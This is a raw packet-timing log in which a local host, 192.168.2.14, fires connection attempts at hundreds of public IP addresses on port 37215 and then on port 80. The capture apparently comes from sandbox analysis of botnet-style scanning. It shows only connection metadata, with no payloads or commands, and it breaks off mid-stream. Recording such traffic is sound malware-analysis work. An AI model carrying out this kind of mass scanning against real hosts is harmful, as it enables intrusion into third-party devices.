Oct 14, 2024 17:34:17.168876886 CEST	29625	37215	192.168.2.14	197.154.110.116
Oct 14, 2024 17:34:17.168876886 CEST	29625	37215	192.168.2.14	41.190.143.97
Oct 14, 2024 17:34:17.168876886 CEST	29625	37215	192.168.2.14	197.97.10.146
Oct 14, 2024 17:34:17.168879986 CEST	29625	37215	192.168.2.14	156.101.12.193
Oct 14, 2024 17:34:17.168879986 CEST	29625	37215	192.168.2.14	156.245.68.31
Oct 14, 2024 17:34:17.168881893 CEST	29625	37215	192.168.2.14	41.90.156.229
Oct 14, 2024 17:34:17.168888092 CEST	29625	37215	192.168.2.14	197.211.124.103
Oct 14, 2024 17:34:17.168894053 CEST	29625	37215	192.168.2.14	41.22.53.27
Oct 14, 2024 17:34:17.168894053 CEST	29625	37215	192.168.2.14	41.220.95.219
Oct 14, 2024 17:34:17.168895006 CEST	29625	37215	192.168.2.14	156.133.3.79
Oct 14, 2024 17:34:17.168900967 CEST	29625	37215	192.168.2.14	41.230.177.137
Oct 14, 2024 17:34:17.168903112 CEST	29625	37215	192.168.2.14	156.254.24.53
Oct 14, 2024 17:34:17.168910980 CEST	29625	37215	192.168.2.14	197.43.149.123
Oct 14, 2024 17:34:17.168916941 CEST	29625	37215	192.168.2.14	156.223.186.112
Oct 14, 2024 17:34:17.168920994 CEST	29625	37215	192.168.2.14	156.96.24.172
Oct 14, 2024 17:34:17.168920994 CEST	29625	37215	192.168.2.14	197.111.24.116
Oct 14, 2024 17:34:17.168940067 CEST	29625	37215	192.168.2.14	41.229.231.158
Oct 14, 2024 17:34:17.168940067 CEST	29625	37215	192.168.2.14	41.245.118.243
Oct 14, 2024 17:34:17.168940067 CEST	29625	37215	192.168.2.14	41.224.236.31
Oct 14, 2024 17:34:17.168943882 CEST	29625	37215	192.168.2.14	156.124.86.247
Oct 14, 2024 17:34:17.168943882 CEST	29625	37215	192.168.2.14	41.207.174.23
Oct 14, 2024 17:34:17.168956041 CEST	29625	37215	192.168.2.14	156.52.138.104
Oct 14, 2024 17:34:17.168956041 CEST	29625	37215	192.168.2.14	41.76.238.237
Oct 14, 2024 17:34:17.168956995 CEST	29625	37215	192.168.2.14	41.237.190.51
Oct 14, 2024 17:34:17.168956995 CEST	29625	37215	192.168.2.14	197.240.189.20
Oct 14, 2024 17:34:17.168962955 CEST	29625	37215	192.168.2.14	197.30.207.216
Oct 14, 2024 17:34:17.168967962 CEST	29625	37215	192.168.2.14	41.14.184.54
Oct 14, 2024 17:34:17.168967962 CEST	29625	37215	192.168.2.14	197.193.247.93
Oct 14, 2024 17:34:17.168970108 CEST	29625	37215	192.168.2.14	197.68.223.174
Oct 14, 2024 17:34:17.168970108 CEST	29625	37215	192.168.2.14	41.159.213.219
Oct 14, 2024 17:34:17.168979883 CEST	29625	37215	192.168.2.14	197.169.148.67
Oct 14, 2024 17:34:17.168979883 CEST	29625	37215	192.168.2.14	197.106.231.2
Oct 14, 2024 17:34:17.168984890 CEST	29625	37215	192.168.2.14	156.208.182.176
Oct 14, 2024 17:34:17.168991089 CEST	29625	37215	192.168.2.14	197.23.255.171
Oct 14, 2024 17:34:17.168992043 CEST	29625	37215	192.168.2.14	197.186.8.184
Oct 14, 2024 17:34:17.168997049 CEST	29625	37215	192.168.2.14	156.68.223.53
Oct 14, 2024 17:34:17.168998957 CEST	29625	37215	192.168.2.14	41.82.91.220
Oct 14, 2024 17:34:17.169003963 CEST	29625	37215	192.168.2.14	41.89.2.218
Oct 14, 2024 17:34:17.169003963 CEST	29625	37215	192.168.2.14	41.223.112.67
Oct 14, 2024 17:34:17.169007063 CEST	29625	37215	192.168.2.14	41.137.212.28
Oct 14, 2024 17:34:17.169008017 CEST	29625	37215	192.168.2.14	156.71.49.143
Oct 14, 2024 17:34:17.169008017 CEST	29625	37215	192.168.2.14	197.19.65.53
Oct 14, 2024 17:34:17.169013977 CEST	29625	37215	192.168.2.14	156.88.155.141
Oct 14, 2024 17:34:17.169014931 CEST	29625	37215	192.168.2.14	41.231.4.189
Oct 14, 2024 17:34:17.169014931 CEST	29625	37215	192.168.2.14	41.187.207.48
Oct 14, 2024 17:34:17.169017076 CEST	29625	37215	192.168.2.14	156.160.91.195
Oct 14, 2024 17:34:17.169018984 CEST	29625	37215	192.168.2.14	156.88.55.11
Oct 14, 2024 17:34:17.169018984 CEST	29625	37215	192.168.2.14	41.244.31.246
Oct 14, 2024 17:34:17.169020891 CEST	29625	37215	192.168.2.14	156.98.219.70
Oct 14, 2024 17:34:17.169037104 CEST	29625	37215	192.168.2.14	197.175.122.214
Oct 14, 2024 17:34:17.169037104 CEST	29625	37215	192.168.2.14	41.236.8.64
Oct 14, 2024 17:34:17.169038057 CEST	29625	37215	192.168.2.14	41.228.89.147
Oct 14, 2024 17:34:17.169038057 CEST	29625	37215	192.168.2.14	156.254.199.247
Oct 14, 2024 17:34:17.169040918 CEST	29625	37215	192.168.2.14	41.124.228.246
Oct 14, 2024 17:34:17.169047117 CEST	29625	37215	192.168.2.14	41.119.12.234
Oct 14, 2024 17:34:17.169049978 CEST	29625	37215	192.168.2.14	197.109.22.36
Oct 14, 2024 17:34:17.169059038 CEST	29625	37215	192.168.2.14	156.47.2.252
Oct 14, 2024 17:34:17.169059038 CEST	29625	37215	192.168.2.14	41.91.103.145
Oct 14, 2024 17:34:17.169059038 CEST	29625	37215	192.168.2.14	156.213.15.109
Oct 14, 2024 17:34:17.169071913 CEST	29625	37215	192.168.2.14	156.243.93.255
Oct 14, 2024 17:34:17.169071913 CEST	29625	37215	192.168.2.14	156.215.180.159
Oct 14, 2024 17:34:17.169080019 CEST	29625	37215	192.168.2.14	41.178.84.187
Oct 14, 2024 17:34:17.169084072 CEST	29625	37215	192.168.2.14	197.30.130.56
Oct 14, 2024 17:34:17.169089079 CEST	29625	37215	192.168.2.14	197.203.159.176
Oct 14, 2024 17:34:17.169090986 CEST	29625	37215	192.168.2.14	41.225.203.89
Oct 14, 2024 17:34:17.169106007 CEST	29625	37215	192.168.2.14	197.148.117.126
Oct 14, 2024 17:34:17.169107914 CEST	29625	37215	192.168.2.14	156.240.55.74
Oct 14, 2024 17:34:17.169107914 CEST	29625	37215	192.168.2.14	156.205.39.16
Oct 14, 2024 17:34:17.169110060 CEST	29625	37215	192.168.2.14	156.178.135.165
Oct 14, 2024 17:34:17.169110060 CEST	29625	37215	192.168.2.14	197.9.149.8
Oct 14, 2024 17:34:17.169116974 CEST	29625	37215	192.168.2.14	197.14.124.182
Oct 14, 2024 17:34:17.169118881 CEST	29625	37215	192.168.2.14	41.95.226.195
Oct 14, 2024 17:34:17.169118881 CEST	29625	37215	192.168.2.14	156.144.225.104
Oct 14, 2024 17:34:17.169131041 CEST	29625	37215	192.168.2.14	41.207.169.248
Oct 14, 2024 17:34:17.169131041 CEST	29625	37215	192.168.2.14	197.47.182.163
Oct 14, 2024 17:34:17.169131994 CEST	29625	37215	192.168.2.14	197.252.90.167
Oct 14, 2024 17:34:17.169131994 CEST	29625	37215	192.168.2.14	41.1.205.60
Oct 14, 2024 17:34:17.169136047 CEST	29625	37215	192.168.2.14	197.174.196.185
Oct 14, 2024 17:34:17.169138908 CEST	29625	37215	192.168.2.14	197.53.122.1
Oct 14, 2024 17:34:17.169143915 CEST	29625	37215	192.168.2.14	197.200.212.82
Oct 14, 2024 17:34:17.169147015 CEST	29625	37215	192.168.2.14	41.151.10.239
Oct 14, 2024 17:34:17.169151068 CEST	29625	37215	192.168.2.14	197.173.102.29
Oct 14, 2024 17:34:17.169151068 CEST	29625	37215	192.168.2.14	156.209.84.109
Oct 14, 2024 17:34:17.169151068 CEST	29625	37215	192.168.2.14	197.112.233.194
Oct 14, 2024 17:34:17.169151068 CEST	29625	37215	192.168.2.14	197.96.254.203
Oct 14, 2024 17:34:17.169152021 CEST	29625	37215	192.168.2.14	197.234.64.39
Oct 14, 2024 17:34:17.169156075 CEST	29625	37215	192.168.2.14	41.66.103.195
Oct 14, 2024 17:34:17.169167042 CEST	29625	37215	192.168.2.14	41.58.68.36
Oct 14, 2024 17:34:17.169169903 CEST	29625	37215	192.168.2.14	156.164.209.187
Oct 14, 2024 17:34:17.169169903 CEST	29625	37215	192.168.2.14	197.254.228.55
Oct 14, 2024 17:34:17.169171095 CEST	29625	37215	192.168.2.14	156.42.159.13
Oct 14, 2024 17:34:17.169178009 CEST	29625	37215	192.168.2.14	156.114.169.49
Oct 14, 2024 17:34:17.169178009 CEST	29625	37215	192.168.2.14	41.38.76.44
Oct 14, 2024 17:34:17.169178009 CEST	29625	37215	192.168.2.14	41.17.131.111
Oct 14, 2024 17:34:17.169188023 CEST	29625	37215	192.168.2.14	197.9.211.203
Oct 14, 2024 17:34:17.169188023 CEST	29625	37215	192.168.2.14	197.179.148.99
Oct 14, 2024 17:34:17.169193983 CEST	29625	37215	192.168.2.14	41.56.83.185
Oct 14, 2024 17:34:17.169195890 CEST	29625	37215	192.168.2.14	197.176.83.210
Oct 14, 2024 17:34:17.169195890 CEST	29625	37215	192.168.2.14	41.183.170.153
Oct 14, 2024 17:34:17.169198036 CEST	29625	37215	192.168.2.14	156.208.44.176
Oct 14, 2024 17:34:17.169209003 CEST	29625	37215	192.168.2.14	197.196.98.190
Oct 14, 2024 17:34:17.169209957 CEST	29625	37215	192.168.2.14	156.80.169.92
Oct 14, 2024 17:34:17.169219017 CEST	29625	37215	192.168.2.14	156.198.149.155
Oct 14, 2024 17:34:17.169224024 CEST	29625	37215	192.168.2.14	156.244.143.137
Oct 14, 2024 17:34:17.169224024 CEST	29625	37215	192.168.2.14	197.125.194.97
Oct 14, 2024 17:34:17.169226885 CEST	29625	37215	192.168.2.14	156.2.129.97
Oct 14, 2024 17:34:17.169235945 CEST	29625	37215	192.168.2.14	41.80.100.128
Oct 14, 2024 17:34:17.169235945 CEST	29625	37215	192.168.2.14	41.119.165.139
Oct 14, 2024 17:34:17.169240952 CEST	29625	37215	192.168.2.14	197.169.96.49
Oct 14, 2024 17:34:17.169240952 CEST	29625	37215	192.168.2.14	156.3.142.203
Oct 14, 2024 17:34:17.169240952 CEST	29625	37215	192.168.2.14	156.133.234.31
Oct 14, 2024 17:34:17.169246912 CEST	29625	37215	192.168.2.14	156.39.10.234
Oct 14, 2024 17:34:17.169259071 CEST	29625	37215	192.168.2.14	41.213.142.71
Oct 14, 2024 17:34:17.169259071 CEST	29625	37215	192.168.2.14	41.252.211.118
Oct 14, 2024 17:34:17.169259071 CEST	29625	37215	192.168.2.14	41.176.125.186
Oct 14, 2024 17:34:17.169262886 CEST	29625	37215	192.168.2.14	197.25.35.98
Oct 14, 2024 17:34:17.169265985 CEST	29625	37215	192.168.2.14	197.46.47.224
Oct 14, 2024 17:34:17.169274092 CEST	29625	37215	192.168.2.14	197.242.141.129
Oct 14, 2024 17:34:17.169274092 CEST	29625	37215	192.168.2.14	197.241.11.221
Oct 14, 2024 17:34:17.169276953 CEST	29625	37215	192.168.2.14	41.248.254.233
Oct 14, 2024 17:34:17.169276953 CEST	29625	37215	192.168.2.14	197.236.205.35
Oct 14, 2024 17:34:17.169289112 CEST	29625	37215	192.168.2.14	156.40.81.133
Oct 14, 2024 17:34:17.169289112 CEST	29625	37215	192.168.2.14	156.197.208.249
Oct 14, 2024 17:34:17.169290066 CEST	29625	37215	192.168.2.14	197.238.160.187
Oct 14, 2024 17:34:17.169290066 CEST	29625	37215	192.168.2.14	41.146.46.204
Oct 14, 2024 17:34:17.169290066 CEST	29625	37215	192.168.2.14	41.104.244.41
Oct 14, 2024 17:34:17.169294119 CEST	29625	37215	192.168.2.14	41.92.86.58
Oct 14, 2024 17:34:17.169294119 CEST	29625	37215	192.168.2.14	197.155.150.97
Oct 14, 2024 17:34:17.169296980 CEST	29625	37215	192.168.2.14	156.9.181.10
Oct 14, 2024 17:34:17.169302940 CEST	29625	37215	192.168.2.14	41.89.173.62
Oct 14, 2024 17:34:17.169306040 CEST	29625	37215	192.168.2.14	197.50.173.89
Oct 14, 2024 17:34:17.169306040 CEST	29625	37215	192.168.2.14	41.44.81.20
Oct 14, 2024 17:34:17.169306040 CEST	29625	37215	192.168.2.14	41.253.196.53
Oct 14, 2024 17:34:17.169307947 CEST	29625	37215	192.168.2.14	197.237.48.72
Oct 14, 2024 17:34:17.169306993 CEST	29625	37215	192.168.2.14	156.126.79.194
Oct 14, 2024 17:34:17.169307947 CEST	29625	37215	192.168.2.14	197.220.28.173
Oct 14, 2024 17:34:17.169313908 CEST	29625	37215	192.168.2.14	156.238.177.232
Oct 14, 2024 17:34:17.169313908 CEST	29625	37215	192.168.2.14	156.109.88.98
Oct 14, 2024 17:34:17.169318914 CEST	29625	37215	192.168.2.14	156.47.150.29
Oct 14, 2024 17:34:17.169322968 CEST	29625	37215	192.168.2.14	197.200.91.51
Oct 14, 2024 17:34:17.169327021 CEST	29625	37215	192.168.2.14	41.141.4.60
Oct 14, 2024 17:34:17.169331074 CEST	29625	37215	192.168.2.14	197.171.8.3
Oct 14, 2024 17:34:17.169332027 CEST	29625	37215	192.168.2.14	197.152.249.39
Oct 14, 2024 17:34:17.169336081 CEST	29625	37215	192.168.2.14	41.132.178.136
Oct 14, 2024 17:34:17.169338942 CEST	29625	37215	192.168.2.14	41.215.74.47
Oct 14, 2024 17:34:17.169342995 CEST	29625	37215	192.168.2.14	197.244.161.76
Oct 14, 2024 17:34:17.169342995 CEST	29625	37215	192.168.2.14	156.100.47.121
Oct 14, 2024 17:34:17.169348001 CEST	29625	37215	192.168.2.14	156.167.110.41
Oct 14, 2024 17:34:17.169348001 CEST	29625	37215	192.168.2.14	41.5.137.128
Oct 14, 2024 17:34:17.169354916 CEST	29625	37215	192.168.2.14	156.188.182.176
Oct 14, 2024 17:34:17.169354916 CEST	29625	37215	192.168.2.14	197.232.132.178
Oct 14, 2024 17:34:17.169359922 CEST	29625	37215	192.168.2.14	197.174.177.69
Oct 14, 2024 17:34:17.169359922 CEST	29625	37215	192.168.2.14	41.21.167.49
Oct 14, 2024 17:34:17.169365883 CEST	29625	37215	192.168.2.14	156.61.22.109
Oct 14, 2024 17:34:17.169365883 CEST	29625	37215	192.168.2.14	197.138.222.218
Oct 14, 2024 17:34:17.169367075 CEST	29625	37215	192.168.2.14	156.249.100.173
Oct 14, 2024 17:34:17.169367075 CEST	29625	37215	192.168.2.14	156.253.238.61
Oct 14, 2024 17:34:17.169378996 CEST	29625	37215	192.168.2.14	41.122.244.58
Oct 14, 2024 17:34:17.169379950 CEST	29625	37215	192.168.2.14	197.226.170.220
Oct 14, 2024 17:34:17.169380903 CEST	29625	37215	192.168.2.14	197.93.137.9
Oct 14, 2024 17:34:17.169383049 CEST	29625	37215	192.168.2.14	156.38.221.1
Oct 14, 2024 17:34:17.169398069 CEST	29625	37215	192.168.2.14	156.134.232.37
Oct 14, 2024 17:34:17.169398069 CEST	29625	37215	192.168.2.14	41.133.183.171
Oct 14, 2024 17:34:17.169401884 CEST	29625	37215	192.168.2.14	156.238.82.102
Oct 14, 2024 17:34:17.169405937 CEST	29625	37215	192.168.2.14	156.134.255.205
Oct 14, 2024 17:34:17.169405937 CEST	29625	37215	192.168.2.14	156.71.197.134
Oct 14, 2024 17:34:17.169405937 CEST	29625	37215	192.168.2.14	41.61.89.2
Oct 14, 2024 17:34:17.169405937 CEST	29625	37215	192.168.2.14	197.60.190.124
Oct 14, 2024 17:34:17.169409037 CEST	29625	37215	192.168.2.14	197.87.83.4
Oct 14, 2024 17:34:17.169413090 CEST	29625	37215	192.168.2.14	197.178.14.195
Oct 14, 2024 17:34:17.169413090 CEST	29625	37215	192.168.2.14	156.143.14.217
Oct 14, 2024 17:34:17.169424057 CEST	29625	37215	192.168.2.14	156.50.125.127
Oct 14, 2024 17:34:17.169425011 CEST	29625	37215	192.168.2.14	197.168.120.201
Oct 14, 2024 17:34:17.169425011 CEST	29625	37215	192.168.2.14	156.88.106.73
Oct 14, 2024 17:34:17.169430017 CEST	29625	37215	192.168.2.14	41.93.79.180
Oct 14, 2024 17:34:17.169441938 CEST	29625	37215	192.168.2.14	156.194.158.154
Oct 14, 2024 17:34:17.169442892 CEST	29625	37215	192.168.2.14	41.196.75.199
Oct 14, 2024 17:34:17.169446945 CEST	29625	37215	192.168.2.14	197.82.237.9
Oct 14, 2024 17:34:17.169446945 CEST	29625	37215	192.168.2.14	197.70.11.166
Oct 14, 2024 17:34:17.169452906 CEST	29625	37215	192.168.2.14	156.249.219.129
Oct 14, 2024 17:34:17.169452906 CEST	29625	37215	192.168.2.14	156.95.111.92
Oct 14, 2024 17:34:17.169454098 CEST	29625	37215	192.168.2.14	197.49.180.74
Oct 14, 2024 17:34:17.169456959 CEST	29625	37215	192.168.2.14	197.68.254.152
Oct 14, 2024 17:34:17.169470072 CEST	29625	37215	192.168.2.14	197.100.156.238
Oct 14, 2024 17:34:17.169470072 CEST	29625	37215	192.168.2.14	197.213.56.169
Oct 14, 2024 17:34:17.169471979 CEST	29625	37215	192.168.2.14	197.140.155.238
Oct 14, 2024 17:34:17.169471979 CEST	29625	37215	192.168.2.14	41.111.214.12
Oct 14, 2024 17:34:17.169476986 CEST	29625	37215	192.168.2.14	156.189.249.185
Oct 14, 2024 17:34:17.169487000 CEST	29625	37215	192.168.2.14	41.72.140.35
Oct 14, 2024 17:34:17.169487000 CEST	29625	37215	192.168.2.14	197.166.92.192
Oct 14, 2024 17:34:17.169487000 CEST	29625	37215	192.168.2.14	41.139.177.43
Oct 14, 2024 17:34:17.169487000 CEST	29625	37215	192.168.2.14	41.228.112.169
Oct 14, 2024 17:34:17.169492960 CEST	29625	37215	192.168.2.14	197.228.19.100
Oct 14, 2024 17:34:17.169497013 CEST	29625	37215	192.168.2.14	197.195.134.166
Oct 14, 2024 17:34:17.169524908 CEST	29625	37215	192.168.2.14	197.31.115.85
Oct 14, 2024 17:34:17.169524908 CEST	29625	37215	192.168.2.14	41.147.155.84
Oct 14, 2024 17:34:17.170097113 CEST	34010	37215	192.168.2.14	197.115.19.88
Oct 14, 2024 17:34:17.170097113 CEST	34010	37215	192.168.2.14	197.115.19.88
Oct 14, 2024 17:34:17.175035000 CEST	37215	34010	197.115.19.88	192.168.2.14
Oct 14, 2024 17:34:17.178656101 CEST	34138	37215	192.168.2.14	197.115.19.88
Oct 14, 2024 17:34:17.181427002 CEST	58824	37215	192.168.2.14	197.176.215.209
Oct 14, 2024 17:34:17.181427002 CEST	58824	37215	192.168.2.14	197.176.215.209
Oct 14, 2024 17:34:17.182825089 CEST	58958	37215	192.168.2.14	197.176.215.209
Oct 14, 2024 17:34:17.184189081 CEST	37215	34138	197.115.19.88	192.168.2.14
Oct 14, 2024 17:34:17.184243917 CEST	34138	37215	192.168.2.14	197.115.19.88
Oct 14, 2024 17:34:17.184953928 CEST	34138	37215	192.168.2.14	197.115.19.88
Oct 14, 2024 17:34:17.187001944 CEST	37215	58824	197.176.215.209	192.168.2.14
Oct 14, 2024 17:34:17.188677073 CEST	37215	58958	197.176.215.209	192.168.2.14
Oct 14, 2024 17:34:17.188733101 CEST	58958	37215	192.168.2.14	197.176.215.209
Oct 14, 2024 17:34:17.188754082 CEST	58958	37215	192.168.2.14	197.176.215.209
Oct 14, 2024 17:34:17.190036058 CEST	37215	34138	197.115.19.88	192.168.2.14
Oct 14, 2024 17:34:17.190085888 CEST	34138	37215	192.168.2.14	197.115.19.88
Oct 14, 2024 17:34:17.194241047 CEST	37215	58958	197.176.215.209	192.168.2.14
Oct 14, 2024 17:34:17.194288969 CEST	58958	37215	192.168.2.14	197.176.215.209
Oct 14, 2024 17:34:17.195446968 CEST	46030	37215	192.168.2.14	156.148.67.239
Oct 14, 2024 17:34:17.195460081 CEST	52028	37215	192.168.2.14	156.3.144.182
Oct 14, 2024 17:34:17.195460081 CEST	34804	37215	192.168.2.14	197.120.235.107
Oct 14, 2024 17:34:17.195470095 CEST	43980	37215	192.168.2.14	156.248.67.162
Oct 14, 2024 17:34:17.195470095 CEST	45436	37215	192.168.2.14	156.22.246.197
Oct 14, 2024 17:34:17.199454069 CEST	36290	80	192.168.2.14	137.46.73.168
Oct 14, 2024 17:34:17.199453115 CEST	41986	80	192.168.2.14	1.215.109.242
Oct 14, 2024 17:34:17.199454069 CEST	60314	80	192.168.2.14	189.67.193.120
Oct 14, 2024 17:34:17.199454069 CEST	60058	80	192.168.2.14	172.2.15.227
Oct 14, 2024 17:34:17.199461937 CEST	44196	80	192.168.2.14	119.106.22.100
Oct 14, 2024 17:34:17.199461937 CEST	56834	80	192.168.2.14	189.57.148.201
Oct 14, 2024 17:34:17.199462891 CEST	47440	80	192.168.2.14	202.214.74.20
Oct 14, 2024 17:34:17.199462891 CEST	44228	80	192.168.2.14	175.185.50.202
Oct 14, 2024 17:34:17.199462891 CEST	37244	80	192.168.2.14	182.64.118.107
Oct 14, 2024 17:34:17.199464083 CEST	52250	80	192.168.2.14	84.10.168.7
Oct 14, 2024 17:34:17.200361013 CEST	37215	46030	156.148.67.239	192.168.2.14
Oct 14, 2024 17:34:17.200413942 CEST	46030	37215	192.168.2.14	156.148.67.239
Oct 14, 2024 17:34:17.200514078 CEST	46030	37215	192.168.2.14	156.148.67.239
Oct 14, 2024 17:34:17.200514078 CEST	46030	37215	192.168.2.14	156.148.67.239
Oct 14, 2024 17:34:17.201607943 CEST	46150	37215	192.168.2.14	156.148.67.239
Oct 14, 2024 17:34:17.204332113 CEST	80	36290	137.46.73.168	192.168.2.14
Oct 14, 2024 17:34:17.204479933 CEST	36290	80	192.168.2.14	137.46.73.168
Oct 14, 2024 17:34:17.205154896 CEST	47386	80	192.168.2.14	147.45.136.124
Oct 14, 2024 17:34:17.205380917 CEST	37215	46030	156.148.67.239	192.168.2.14
Oct 14, 2024 17:34:17.206450939 CEST	45246	80	192.168.2.14	130.143.3.66
Oct 14, 2024 17:34:17.207345963 CEST	54176	80	192.168.2.14	150.128.177.165
Oct 14, 2024 17:34:17.209841967 CEST	34820	80	192.168.2.14	208.30.70.127
Oct 14, 2024 17:34:17.212749958 CEST	53756	80	192.168.2.14	36.229.215.172
Oct 14, 2024 17:34:17.215126038 CEST	37215	34010	197.115.19.88	192.168.2.14
Oct 14, 2024 17:34:17.215188980 CEST	40424	80	192.168.2.14	134.100.150.105
Oct 14, 2024 17:34:17.216911077 CEST	45762	80	192.168.2.14	79.42.6.55
Oct 14, 2024 17:34:17.217538118 CEST	80	53756	36.229.215.172	192.168.2.14
Oct 14, 2024 17:34:17.217582941 CEST	53756	80	192.168.2.14	36.229.215.172
Oct 14, 2024 17:34:17.217652082 CEST	37215	35964	156.235.118.232	192.168.2.14
Oct 14, 2024 17:34:17.217695951 CEST	35964	37215	192.168.2.14	156.235.118.232
Oct 14, 2024 17:34:17.217884064 CEST	35226	80	192.168.2.14	180.26.206.254
Oct 14, 2024 17:34:17.219649076 CEST	41200	80	192.168.2.14	223.63.237.131
Oct 14, 2024 17:34:17.220788956 CEST	51304	80	192.168.2.14	191.68.234.83
Oct 14, 2024 17:34:17.222862959 CEST	47168	80	192.168.2.14	146.80.94.46
Oct 14, 2024 17:34:17.223570108 CEST	41852	80	192.168.2.14	129.243.112.179
Oct 14, 2024 17:34:17.224488974 CEST	80	41200	223.63.237.131	192.168.2.14
Oct 14, 2024 17:34:17.224549055 CEST	41200	80	192.168.2.14	223.63.237.131
Oct 14, 2024 17:34:17.225873947 CEST	46878	80	192.168.2.14	125.2.94.112
Oct 14, 2024 17:34:17.227183104 CEST	41068	80	192.168.2.14	134.1.143.104
Oct 14, 2024 17:34:17.227442980 CEST	40986	37215	192.168.2.14	197.174.35.118
Oct 14, 2024 17:34:17.227442980 CEST	41906	37215	192.168.2.14	156.88.61.100
Oct 14, 2024 17:34:17.227447987 CEST	55480	37215	192.168.2.14	156.82.53.197
Oct 14, 2024 17:34:17.227448940 CEST	57522	37215	192.168.2.14	156.214.51.232
Oct 14, 2024 17:34:17.227457047 CEST	56256	37215	192.168.2.14	156.131.207.90
Oct 14, 2024 17:34:17.227457047 CEST	52920	37215	192.168.2.14	156.153.120.33
Oct 14, 2024 17:34:17.227464914 CEST	36518	37215	192.168.2.14	41.185.122.216
Oct 14, 2024 17:34:17.227464914 CEST	35952	37215	192.168.2.14	197.106.20.72
Oct 14, 2024 17:34:17.227464914 CEST	54756	37215	192.168.2.14	197.111.224.208
Oct 14, 2024 17:34:17.227477074 CEST	32836	37215	192.168.2.14	156.197.10.153
Oct 14, 2024 17:34:17.227480888 CEST	42474	37215	192.168.2.14	156.75.142.201
Oct 14, 2024 17:34:17.228614092 CEST	58922	80	192.168.2.14	72.178.53.232
Oct 14, 2024 17:34:17.229779959 CEST	33448	80	192.168.2.14	208.26.103.154
Oct 14, 2024 17:34:17.230959892 CEST	38086	80	192.168.2.14	123.237.1.222
Oct 14, 2024 17:34:17.231203079 CEST	37215	58824	197.176.215.209	192.168.2.14
Oct 14, 2024 17:34:17.231915951 CEST	44646	80	192.168.2.14	155.83.97.123
Oct 14, 2024 17:34:17.232997894 CEST	50272	80	192.168.2.14	164.109.7.193
Oct 14, 2024 17:34:17.234201908 CEST	37192	80	192.168.2.14	161.83.52.227
Oct 14, 2024 17:34:17.234816074 CEST	47392	80	192.168.2.14	194.57.52.250
Oct 14, 2024 17:34:17.235831022 CEST	47592	80	192.168.2.14	62.188.228.117
Oct 14, 2024 17:34:17.236563921 CEST	36768	80	192.168.2.14	210.49.155.136
Oct 14, 2024 17:34:17.236680031 CEST	80	44646	155.83.97.123	192.168.2.14
Oct 14, 2024 17:34:17.236721039 CEST	44646	80	192.168.2.14	155.83.97.123
Oct 14, 2024 17:34:17.237818003 CEST	39136	80	192.168.2.14	132.131.248.19
Oct 14, 2024 17:34:17.239751101 CEST	52198	80	192.168.2.14	154.189.149.132
Oct 14, 2024 17:34:17.241786957 CEST	36206	80	192.168.2.14	221.110.37.119
Oct 14, 2024 17:34:17.243339062 CEST	36290	80	192.168.2.14	137.46.73.168
Oct 14, 2024 17:34:17.243339062 CEST	36290	80	192.168.2.14	137.46.73.168
Oct 14, 2024 17:34:17.243925095 CEST	36596	80	192.168.2.14	137.46.73.168
Oct 14, 2024 17:34:17.244437933 CEST	53756	80	192.168.2.14	36.229.215.172
Oct 14, 2024 17:34:17.244437933 CEST	53756	80	192.168.2.14	36.229.215.172
Oct 14, 2024 17:34:17.244672060 CEST	80	52198	154.189.149.132	192.168.2.14
Oct 14, 2024 17:34:17.244725943 CEST	52198	80	192.168.2.14	154.189.149.132
Oct 14, 2024 17:34:17.244882107 CEST	53802	80	192.168.2.14	36.229.215.172
Oct 14, 2024 17:34:17.245501995 CEST	41200	80	192.168.2.14	223.63.237.131
Oct 14, 2024 17:34:17.245501995 CEST	41200	80	192.168.2.14	223.63.237.131
Oct 14, 2024 17:34:17.245934010 CEST	41240	80	192.168.2.14	223.63.237.131
Oct 14, 2024 17:34:17.246476889 CEST	44646	80	192.168.2.14	155.83.97.123
Oct 14, 2024 17:34:17.246476889 CEST	44646	80	192.168.2.14	155.83.97.123
Oct 14, 2024 17:34:17.246998072 CEST	44670	80	192.168.2.14	155.83.97.123
Oct 14, 2024 17:34:17.247499943 CEST	52198	80	192.168.2.14	154.189.149.132
Oct 14, 2024 17:34:17.247499943 CEST	52198	80	192.168.2.14	154.189.149.132
Oct 14, 2024 17:34:17.247951984 CEST	52210	80	192.168.2.14	154.189.149.132
Oct 14, 2024 17:34:17.248229027 CEST	80	36290	137.46.73.168	192.168.2.14
Oct 14, 2024 17:34:17.249273062 CEST	80	53756	36.229.215.172	192.168.2.14
Oct 14, 2024 17:34:17.250299931 CEST	80	41200	223.63.237.131	192.168.2.14
Oct 14, 2024 17:34:17.251123905 CEST	37215	46030	156.148.67.239	192.168.2.14
Oct 14, 2024 17:34:17.251260042 CEST	80	44646	155.83.97.123	192.168.2.14
Oct 14, 2024 17:34:17.252304077 CEST	80	52198	154.189.149.132	192.168.2.14
Oct 14, 2024 17:34:17.263451099 CEST	44162	37215	192.168.2.14	41.31.159.219
Oct 14, 2024 17:34:17.263453960 CEST	55058	37215	192.168.2.14	41.151.2.41
Oct 14, 2024 17:34:17.263453960 CEST	42150	37215	192.168.2.14	197.120.157.102
Oct 14, 2024 17:34:17.263453960 CEST	53712	37215	192.168.2.14	156.56.138.28
Oct 14, 2024 17:34:17.263464928 CEST	48262	37215	192.168.2.14	156.230.123.62
Oct 14, 2024 17:34:17.263467073 CEST	48906	37215	192.168.2.14	41.251.207.106
Oct 14, 2024 17:34:17.263467073 CEST	45920	37215	192.168.2.14	41.97.48.137
Oct 14, 2024 17:34:17.263525009 CEST	58988	37215	192.168.2.14	156.96.124.186
Oct 14, 2024 17:34:17.263528109 CEST	59954	37215	192.168.2.14	197.88.68.6
Oct 14, 2024 17:34:17.268376112 CEST	37215	55058	41.151.2.41	192.168.2.14
Oct 14, 2024 17:34:17.268399000 CEST	37215	44162	41.31.159.219	192.168.2.14
Oct 14, 2024 17:34:17.268476009 CEST	44162	37215	192.168.2.14	41.31.159.219
Oct 14, 2024 17:34:17.268515110 CEST	55058	37215	192.168.2.14	41.151.2.41
Oct 14, 2024 17:34:17.268636942 CEST	55058	37215	192.168.2.14	41.151.2.41
Oct 14, 2024 17:34:17.268636942 CEST	55058	37215	192.168.2.14	41.151.2.41
Oct 14, 2024 17:34:17.269676924 CEST	55188	37215	192.168.2.14	41.151.2.41
Oct 14, 2024 17:34:17.270392895 CEST	44162	37215	192.168.2.14	41.31.159.219
Oct 14, 2024 17:34:17.270392895 CEST	44162	37215	192.168.2.14	41.31.159.219
Oct 14, 2024 17:34:17.271755934 CEST	44296	37215	192.168.2.14	41.31.159.219
Oct 14, 2024 17:34:17.273421049 CEST	37215	55058	41.151.2.41	192.168.2.14
